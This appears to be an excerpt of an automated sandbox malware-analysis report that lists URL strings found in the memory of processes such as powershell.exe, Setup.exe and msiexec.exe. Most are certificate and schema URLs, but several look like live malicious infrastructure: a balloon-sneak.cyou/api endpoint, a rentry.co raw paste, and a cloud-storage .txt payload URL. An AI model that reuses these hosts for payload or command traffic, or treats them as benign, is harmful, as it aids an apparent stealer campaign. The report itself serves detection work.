Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: Setup.exe, 0000000F.00000002.3353022145.000000006ADFA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0A
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.3267245519.000001A79BD51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE218F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3748251347.0000000004861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com02
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com05
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE23939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.company.com/printers.
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002C4F000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.000000000457F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.000000000440B000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: powershell.exe, 00000003.00000002.3009871842.000001EE39A62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coZ
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000000.00000002.3267245519.000001A79BDBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3267245519.000001A79BD9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE218F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000010.00000002.3748251347.0000000004861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: msiexec.exe, 0000000E.00000003.3665451431.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/
Source: msiexec.exe, 0000000E.00000003.3665451431.0000000000774000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736738222.0000000000772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/?
Source: msiexec.exe, 0000000E.00000002.3738355439.0000000005411000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3599664885.0000000005410000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3665366727.0000000005401000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3738355439.0000000005402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/api
Source: msiexec.exe, 0000000E.00000003.3499916719.0000000005401000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3500712811.0000000005401000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/apiEW
Source: msiexec.exe, 0000000E.00000003.3665366727.0000000005411000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3738355439.0000000005411000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/apiult
Source: msiexec.exe, 0000000E.00000003.3665451431.0000000000774000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736738222.0000000000772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou/o
Source: msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou:443/api
Source: msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://balloon-sneak.cyou:443/apiicrosoft
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/
Source: msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/I
Source: msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/O
Source: msiexec.exe, 0000000E.00000002.3738355439.0000000005411000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3738355439.0000000005402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/feouewe5/raw
Source: msiexec.exe, 0000000E.00000002.3738355439.0000000005402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/feouewe5/raw6
Source: msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/t~C
Source: msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co:443/feouewe5/rawK
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sandisk2.oss-ap-northeast-2.aliyuncs.com
Source: powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sandisk2.oss-ap-northeast-2.aliyuncs.com/bUAmCazc.txt
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
